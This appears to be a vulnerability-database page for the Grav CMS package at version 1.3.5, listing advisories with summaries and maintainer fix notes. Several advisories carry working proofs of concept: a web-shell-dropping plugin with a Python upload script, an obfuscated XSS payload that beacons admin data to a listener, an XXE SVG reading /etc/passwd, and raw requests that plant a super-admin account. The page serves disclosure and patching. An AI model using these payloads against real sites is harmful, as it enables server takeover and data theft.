Search for packages
| purl | pkg:composer/getgrav/grav@1.3.5 |
| Next non-vulnerable version | 2.0.0-beta.4 |
| Latest non-vulnerable version | 2.0.0-rc.2 |
| Risk | 10.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-1ps5-3k43-p3fa
Aliases: CVE-2024-28117 GHSA-qfv4-q44r-g7rv |
Server Side Template Injection (SSTI) Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands. |
Affected by 37 other vulnerabilities. |
|
VCID-42b5-mk65-nyd2
Aliases: CVE-2022-2073 GHSA-cxgw-r5jg-7xwq |
Code injection in grav Grav is vulnerable to Server Side Template Injection via Twig. According to a previous vulnerability report, Twig should not render dangerous functions by default, such as system. |
Affected by 49 other vulnerabilities. |
|
VCID-4a2z-37a3-2qaw
Aliases: CVE-2024-28119 GHSA-2m7x-c7px-hp58 |
Server Side Template Injection (SSTI) via Twig escape handler Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. |
Affected by 37 other vulnerabilities. |
|
VCID-51ah-g5xe-4qeg
Aliases: CVE-2022-0268 GHSA-735v-wx75-xmmm |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Cross-site Scripting (XSS) - Stored in Packagist getgrav/grav prior to 1.7.28. |
Affected by 53 other vulnerabilities. |
|
VCID-5kr2-3ywy-9kcn
Aliases: CVE-2025-66305 GHSA-m8vh-v6r6-w7p6 |
Grav vulnerable to Denial of Service via Improper Input Handling in 'Supported' Parameter A Denial of Service (DoS) vulnerability was identified in the **"Languages"** submenu of the Grav **admin configuration panel** (`/admin/config/system`). Specifically, the `Supported` parameter fails to properly validate user input. If a malformed value is inserted—such as a single forward slash (`/`) or an XSS test string—it causes a fatal regular expression parsing error on the server. This leads to application-wide failure due to the use of the `preg_match()` function with an **improperly constructed regular expression**, resulting in the following error: `preg_match(): Unknown modifier 'o' File: /system/src/Grav/Common/Language/Language.php line 244` Once triggered, the site becomes completely unavailable to all users. --- |
Affected by 14 other vulnerabilities. |
|
VCID-612f-2hre-27bm
Aliases: CVE-2021-29440 GHSA-g8r4-p96j-xfxc |
Improper Control of Generation of Code ('Code Injection') Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. The issue was addressed in version 1.7.11. |
Affected by 0 other vulnerabilities. Affected by 57 other vulnerabilities. |
|
VCID-6a4v-d3zb-67cq
Aliases: CVE-2026-42607 GHSA-w48r-jppp-rcfw |
Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature ### Summary An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. ### Details The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core. - Vulnerable Endpoints: /admin/tools/direct-install - Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285). - Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/ plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive. ### PoC 1. Prepare the Malicious Plugin Create a directory named shellplugin and add the following files: shellplugin.php: ``` <?php namespace Grav\Plugin; use Grav\Common\Plugin; class ShellpluginPlugin extends Plugin { public static function getSubscribedEvents(): array { return ['onPluginsInitialized' => ['onPluginsInitialized', 0]]; } public function onPluginsInitialized(): void { $shell_path = GRAV_ROOT . '/shell.php'; if (!file_exists($shell_path)) { file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>'); } } } ``` (Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards). 2. Create the ZIP Archive ``` `zip -r /tmp/shellplugin.zip shellplugin/` 3. Execute the Exploit Script Run the following Python script to automate the login, nonce retrieval, and malicious upload process: `import requests, re, json s = requests.Session() BASE_URL = 'http://127.0.0.1' ``` #### 1. Login and Bypass Rate Limit via X-Forwarded-For ``` r = s.get(f'{BASE_URL}/admin') nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1) r2 = s.post(f'{BASE_URL}/admin', headers={'X-Forwarded-For': '10.0.0.3'}, data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce}, allow_redirects=False) redirect = json.loads(r2.text)['redirect'] s.get(redirect) print(f"[+] Logged in successfully.") ``` #### 2. Extract Admin Nonce from Tools Page ``` tools = s.get(f'{BASE_URL}/admin/tools/direct-install') admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1) print(f"[+] Retrieved Admin Nonce: {admin_nonce}") ``` #### 3. Upload and Execute ``` with open('/tmp/shellplugin.zip', 'rb') as f: zip_data = f.read() resp = s.post(f'{BASE_URL}/admin/tools/direct-install', data={'task': 'directInstall', 'admin-nonce': admin_nonce}, files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')}, headers={'X-Forwarded-For': '10.0.0.3'} ) if "installation" in resp.text.lower(): print("[+] Plugin installed successfully!") # Trigger the shell s.get(BASE_URL) print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")` ``` #### 4. Verification Access the dropped shell to confirm command execution: `curl -s "http://127.0.0.1/shell.php?cmd=whoami"` <img width="2547" height="756" alt="resim (2)" src="https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4" /> <img width="898" height="89" alt="resim (3)" src="https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520" /> ### Impact - Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction). - Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP). - Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking. ## Maintainer note — partial fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — ships in **2.0.0-beta.2**. **What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive — `..` path segments, absolute paths (Unix `/…` or Windows `C:\…`/`\…`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/<slug>` or `user/themes/<slug>` directory. **Explicit scope limitation:** the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note. **Files:** - [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) — new `isSafeArchiveEntry()` helper + pre-extract validation loop. - [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names. --- ### Acknowledgements The issue was identified by Security Researcher **Mustafa Murat Akgül**. --- |
Affected by 1 other vulnerability. |
|
VCID-6quf-qqqk-43a1
Aliases: CVE-2026-42611 GHSA-w8cg-7jcj-4vv2 |
Grav is Vulnerable to Stored XSS via Tag Injection ### Summary A low-privileged (with the ability to create a page) user can cause XSS with the injection of `svg` element. The XSS can further be escalated to dump the entire system information available under `/admin/config/info` whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE). ### Details Affected endpoint: `admin/pages/<page>` Affected code: `system/src/Grav/Common/Security.php` ```php public static function detectXss($string, array $options = null): ?string { // Skip any null or non string values if (null === $string || !is_string($string) || empty($string)) { return null; } if (null === $options) { $options = static::getXssDefaults(); } $enabled_rules = (array)($options['enabled_rules'] ?? null); $dangerous_tags = (array)($options['dangerous_tags'] ?? null); if (!$dangerous_tags) { $enabled_rules['dangerous_tags'] = false; } $invalid_protocols = (array)($options['invalid_protocols'] ?? null); if (!$invalid_protocols) { $enabled_rules['invalid_protocols'] = false; } $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); }); if (!$enabled_rules) { return null; } // Keep a copy of the original string before cleaning up $orig = $string; // URL decode $string = urldecode($string); // Convert Hexadecimals $string = (string)preg_replace_callback('!(&#|\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) { return chr(hexdec($m[2])); }, $string); // Clean up entities $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string); // Decode entities $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8'); // Strip whitespace characters $string = preg_replace('!\s!u', ' ', $string); $stripped = preg_replace('!\s!u', '', $string); // Set the patterns we'll test against $patterns = [ // Match any attribute starting with "on" or xmlns 'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu', // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols 'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu', // Match -moz-bindings 'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u', // Match style attributes 'html_inline_styles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu', // Match potentially dangerous tags 'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui' ]; // Iterate over rules and return label if fail foreach ($patterns as $name => $regex) { if (!empty($enabled_rules[$name])) { if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) { return $name; } } } return null; } ``` Specifically the line: ```php 'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu', ``` assumes that the on_events will always begin with either `whitespace, ', "` which can easily be bypassed with a simple payload like: `<img src=x onload=alert('1')>` This XSS Filter practice is broken. 1. Blacklisting every possible scenario that leads to XSS isn't possible. 2. Regex can't parse HTML. It would be better to use an HTMLPurifier. ### PoC Grav Core + Admin Plugin Grav Version: `v1.7.49.5 - Admin v1.10.49.1` 1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.  2. Login as the low-privileged user and browse to pages:  3. Create a post with the following content: ``` <svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg> ``` The payload base64 is decoded to: ```javascript (async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})(); ``` whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the `info` endpoint and the response will be sent to attacker beacon/listener. 4. Save  5. Start a `ncat` listener on port `8001`. ```bash ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/) Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/). ``` 6. Now as a Super Admin visit the `/` of Grav `[http://localhost/grav-admin/`](http://localhost/grav-admin/) for me:  7. We get a response with the `admin-nonce` and the entire system information: ``` ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/) Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/). POST /grav-log HTTP/1.1 Host: [127.0.0.1:8001](http://127.0.0.1:8001/) User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Content-Type: text/plain;charset=UTF-8 Content-Length: 127013 Origin: http://localhost/ Connection: keep-alive Referer: http://localhost/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site Priority: u=6 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Configuration: Info | Grav</title> <meta name="description" content=""> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png"> <script type="text/javascript"> window.GravAdmin = window.GravAdmin || {}; window.GravAdmin.config = { current_url: '/grav-admin/admin/config/info', base_url_relative: '/grav-admin/admin', base_url_simple: '/grav-admin', route: 'info', param_sep: ':', enable_auto_updates_check: '1', admin_timeout: '1800', admin_nonce: '1265db72d897b4324cbe7d1781e66e3b', <SNIPPED> ``` ### Impact This is a **Stored Cross-Site Scripting (XSS)** vulnerability exploitable by a low-privileged user, which leads to **exfiltration of the admin session context**, including the **`admin_nonce`**. This nonce can be abused to **bypass CSRF protections** and **authenticate further requests** to sensitive admin endpoints. Given Grav’s support for **scheduled tasks** and extensible plugin architecture, this can be escalated to **Remote Code Execution (RCE)** under favorable conditions. **Affected Component**: Grav Core + Admin Plugin (`v1.7.49.5` / `v1.10.49.1`) **Impact**: Full system compromise via RCE chain originating from low-privilege XSS. `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` `Overall CVSS Score: 9.0` `High Impact` --- --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. Two changes in tandem: 1. **Regex bypass** (detection layer) — the `on_events` regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details. 2. **Missing dangerous tags** — `svg`, `math`, `option`, and `select` have been added to default `security.xss_dangerous_tags` in [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml). `svg` and `math` allow inline scripting through their XML namespace and event-handler surface; `option`/`select` are the tags attackers use to break out of the admin's select-template context before dropping the payload. Combined with the tightened `on_events` regex, the PoC `<svg>…<script>…</script></svg>` (and the GHSA-c2q3 `</option></select><img src=x onerror=alert(1)>` variant) now trip at least one detector. **Files:** - [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — dangerous-tags list extended. - [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — regex tightening. - [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php). |
Affected by 1 other vulnerability. |
|
VCID-6tq3-4hkt-y3au
Aliases: GHSA-3446-6mgw-f79p |
Grav is Vulnerable to XXE via SVG Upload Dear Grav Security Team, A security vulnerability was discovered in Grav CMS that allows authenticated attackers to read arbitrary files from the server through XML External Entity (XXE) injection. Vulnerability Summary | Field | Details | |-------|---------| | Vulnerability Type | XML External Entity (XXE) Injection | | Severity | High (CVSS 7.5) | | Affected Versions | Grav CMS <= 1.7.x | | Affected Component | SVG file upload/processing | | CWE | CWE-611: Improper Restriction of XML External Entity Reference | | Authentication Required | Yes (Admin panel access) | Technical Details Root Cause The application uses `simplexml_load_string()` to process uploaded SVG files without disabling external entity loading. This allows attackers to inject XXE payloads that are processed by the XML parser. Vulnerable Code Pattern ```php // Current (Vulnerable): $svg = simplexml_load_string($content); // No LIBXML_NOENT flag or entity loader protection ``` Attack Vector 1. Attacker authenticates to Grav admin panel 2. Uploads malicious SVG file via Pages → Media or File Manager plugin 3. Server parses SVG and processes XXE entities 4. Arbitrary file contents are exfiltrated Impact An authenticated attacker can: 1. Read sensitive files: - `/etc/passwd` - System user information - `user/accounts/*.yaml` - Admin credentials and 2FA secrets - `user/config/system.yaml` - System configuration - `.env` files - Environment secrets and API keys 2. Perform SSRF - Access internal services via external entity URLs 3. Potential DoS - Billion laughs attack via recursive entity expansion Proof of Concept Malicious SVG Payload ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <text x="10" y="50">&xxe;</text> </svg> ``` Steps to Reproduce 1. Login to Grav CMS admin panel 2. Navigate to Pages → select any page → Media tab 3. Upload the malicious SVG file 4. Observe file contents in response/error or stored output Recommended Fix Option 1: Add XXE Protection Flags ```php libxml_use_internal_errors(true); $svg = simplexml_load_string($content, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD); ``` Option 2: Use SVG Sanitizer Library (Recommended) ```php use enshrined\svgSanitize\Sanitizer; $sanitizer = new Sanitizer(); $sanitizer->removeRemoteReferences(true); $cleanSVG = $sanitizer->sanitize($content); ``` The `enshrined/svg-sanitize` library properly strips XXE payloads and other malicious SVG content. Request 1. Please acknowledge receipt of this report within 5 business days 2. Please provide an estimated timeline for a security patch 3. I am happy to assist with testing the fix 4. I request a CVE be assigned for this vulnerability 5. If you have a security advisory process, please include me in the credits Turki Almatrafi. --- ## Maintainer note — fix applied (2026-04-24) Fixed across two repos: 1. **Grav core on the `2.0` branch** (commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8), ships in **2.0.0-beta.2**) — `VectorImageMedium::__construct` (the code path that reads width/height from an uploaded SVG) now strips `<!DOCTYPE>` and `<!ENTITY>` declarations before parsing, and calls `simplexml_load_string` with `LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING`. On PHP < 8 it also calls `libxml_disable_entity_loader(true)` for the duration of the parse. 2. **rhukster/dom-sanitizer** (commit [`02d08ec`](https://github.com/rhukster/dom-sanitizer/commit/02d08ec)) — the library Grav ships as its SVG sanitizer. `loadDocument` now applies the same DOCTYPE/ENTITY strip and passes `LIBXML_NONET` to `loadXML`/`loadHTML`. With both layers in place, the PoC: ```xml <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <text x="10" y="50">&xxe;</text> </svg> ``` no longer expands `&xxe;`, and the parser cannot make outbound filesystem or network requests for external entities/DTDs. Billion-laughs-style entity expansion is also neutralized because the declarations are stripped before libxml ever sees them. **Files:** - [`system/src/Grav/Common/Page/Medium/VectorImageMedium.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Page/Medium/VectorImageMedium.php). - [`tests/unit/Grav/Common/Security/SvgXxeSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/SvgXxeSecurityTest.php) — XXE neutralization + billion-laughs + plain-SVG regression. - dom-sanitizer: [`src/DOMSanitizer.php`](https://github.com/rhukster/dom-sanitizer/blob/main/src/DOMSanitizer.php) + two new XXE tests in its own suite. |
Affected by 1 other vulnerability. |
|
VCID-7jaz-7xjc-kka1
Aliases: CVE-2024-28118 GHSA-r6vw-8v8r-pmp4 |
Server Side Template Injection (SSTI) Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch. |
Affected by 37 other vulnerabilities. |
|
VCID-7qs1-13w7-fkgm
Aliases: GHSA-cvmr-6428-87w9 GMS-2020-581 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in getgrav/grav. |
Affected by 61 other vulnerabilities. |
|
VCID-9j1y-z47y-xudz
Aliases: CVE-2024-34082 GHSA-f8v5-jmfh-pr69 |
Grav Vulnerable to Arbitrary File Read to Account Takeover A low privilege user account with page edit privilege can read any server files using Twig Syntax. This includes Grav user account files - /grav/user/accounts/*.yaml. This file stores hashed user password, 2FA secret, and the password reset token. This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password. |
Affected by 35 other vulnerabilities. |
|
VCID-9tu1-4n1t-6bgv
Aliases: CVE-2025-66298 GHSA-8535-hvm8-2hmv |
Grav is vulnerable to Server-Side Template Injection (SSTI) via Forms Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details. |
Affected by 14 other vulnerabilities. |
|
VCID-a375-aqzf-r7gw
Aliases: CVE-2025-65186 GHSA-cchq-397m-q2qm |
Grav CMS is vulnerable to Cross Site Scripting (XSS) in the page editor Grav CMS 1.7.49 is vulnerable to Cross Site Scripting (XSS). The page editor allows authenticated users to edit page content via a Markdown editor. The editor fails to properly sanitize <script> tags, allowing stored XSS payloads to execute when pages are viewed in the admin interface. |
Affected by 34 other vulnerabilities. |
|
VCID-a8df-4jgt-gba4
Aliases: CVE-2025-66302 GHSA-j422-qmxp-hv94 |
Grav vulnerable to Path Traversal allowing server files backup ``` A path traversal vulnerability has been identified in Grav CMS, versions 1.7.49.5 , allowing authenticated attackers with administrative privileges to read arbitrary files on the underlying server filesystem. This vulnerability arises due to insufficient input sanitization in the backup tool, where user-supplied paths are not properly restricted, enabling access to files outside the intended webroot directory. The impact of this vulnerability depends on the privileges of the user account running the application. ``` |
Affected by 14 other vulnerabilities. |
|
VCID-a8y8-y4zt-zqbv
Aliases: CVE-2024-27923 GHSA-f6g2-h7qv-3m5v |
Remote Code Execution by uploading a phar file using frontmatter - Due to insufficient permission verification, user who can write a page use frontmatter feature. - Inadequate File Name Validation |
Affected by 43 other vulnerabilities. |
|
VCID-aa7e-n85b-wbdm
Aliases: CVE-2026-42844 GHSA-6xx2-m8wv-756h |
Low-privileged Grav API users can create super-admin accounts via blueprint-upload ## Summary In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges. This results in full administrative compromise of the Grav API. ## Details The vulnerability is located in the API plugin's blueprint upload flow: - `user/plugins/api/classes/Api/ApiRouter.php:261` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417` - `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55` The issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target. When the request uses: - `destination=self@:` - `scope=users/anything` The server resolves the write target to the shared account directory: ```text user/accounts/ ``` The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`. The required attacker privilege is low: ```yaml access: api: access: true media: write: true ``` ## PoC ### Step 1: Authenticate as the low-privileged API user ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"uploader","password":"Upload123A"} ``` Extract: ```text UPLOADER_TOKEN = <access_token from response> ``` Attachment: <img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" /> ### Step 2: Upload a malicious account YAML file ```http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADER_TOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close ------CodexBoundaryF01 Content-Disposition: form-data; name="destination" self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope" users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01-- ``` Expected result: ```json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] } ``` Attachment: <img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" /> ### Step 3: Log in as the newly created account ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"pwned","password":"Passw0rd!123"} ``` Expected result: ```json { "data": { "user": { "username": "pwned", "super_admin": true } } } ``` Attachment: <img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" /> ### Step 4: Verify privileged API access ```http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNED_TOKEN> Connection: close ``` Expected result: The request succeeds and returns system-level information. Attachment: <img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" /> ## Impact This is an authenticated vertical privilege-escalation vulnerability. Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can: - modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow. This issue was reproduced locally: - the upload response returned `user/accounts/pwned.yaml` - logging in as `pwned` succeeded - the new account had `super_admin = true` - privileged endpoints such as `/api/v1/system/info` were accessible |
Affected by 0 other vulnerabilities. |
|
VCID-abwg-zvc9-w7dq
Aliases: CVE-2025-66300 GHSA-p4ww-mcp9-j6f2 |
Grav is vulnerable to Arbitrary File Read - A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. - This includes Grav user account files - /grav/user/accounts/*.yaml. This file stores hashed user password, 2FA secret, and the password reset token. - This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password. |
Affected by 14 other vulnerabilities. |
|
VCID-agks-r1vd-u3d6
Aliases: CVE-2025-66311 GHSA-mpjj-4688-3fxg |
Grav vulnerable to Cross-Site Scripting (XSS) Stored endpoint `/admin/pages/[page]` in Multiples parameters A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/pages/[page]` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[header][metadata]`, `data[header][taxonomy][category]`, and `data[header][taxonomy][tag]` parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface. --- |
Affected by 0 other vulnerabilities. |
|
VCID-athb-nf3a-yyga
Aliases: CVE-2026-42609 GHSA-rr73-568v-28f8 |
Grav Vulnerable to Administrative Account Disruption and Privilege De-escalation via User Overwrite Logic ### Summary A business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account. ### Details The vulnerability stems from an insecure "Create or Update" logic within the user management module. When the admin-addon handles a user creation request, it does not strictly validate whether the username is already taken by a higher-privileged account. Instead of returning a "409 Conflict" or a validation error, the application logic proceeds to overwrite the existing user configuration file (e.g., user/accounts/root0.yaml) with the new, lower-privileged data provided by the attacker. Because the attacker cannot assign higher permissions to themselves (due to existing fixes), the result is that the targeted account (the original Admin/Root) has its access levels wiped or replaced by the attacker's input, effectively locking the real administrator out of the system. ### PoC 1. Log in as a Super User (e.g., root0) and create a low-privileged user (e.g., adminuser). 2. Assign adminuser the following specific permissions: admin.login admin.users.list admin.users.read admin.users.create 3. Log out and log back in as adminuser. 4. Navigate to User Accounts -> Add. 5. Fill in the form with the following details: Username: root0 (The exact username of the Super User) Email: `anything@grav.f` Fullname: Fake Root0 7. Click Save. 8. Observe that the account is successfully "created". 9. The original administrative permissions are gone, and the account is now restricted. #### PoC video https://github.com/user-attachments/assets/047cb44e-0279-402b-b4fb-12bf5d427a5e ### Impact This is a Privilege De-escalation and Account Disruption vulnerability. Who is impacted: Any Grav installation where a non-admin user is granted permission to create other users. Consequence: An attacker can effectively disable all administrative accounts on the platform, leading to a complete loss of management control over the CMS. --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**. **What changed:** `UserObject::save` already had a uniqueness guard (commit [`19c2f8da7`](https://github.com/getgrav/grav/commit/19c2f8da7), November 2025) that blocks the PoC. This release tightens that guard: 1. `strpos($key, '@@')` → `str_contains($key, '@@')`. The previous form was falsy when the transient-key marker was at position 0 (e.g. `@@hash`), silently bypassing the check. `str_contains` returns a proper boolean. 2. The `instanceof FileStorage` gate was dropped so the uniqueness check runs for any `FlexStorageInterface` backend — not just the default file-per-user YAML one. A low-privileged user with `admin.users.create` can no longer disrupt a super-admin account by submitting that admin's username through the "add user" form. **Files:** - [`system/src/Grav/Common/Flex/Types/Users/UserObject.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Flex/Types/Users/UserObject.php). - 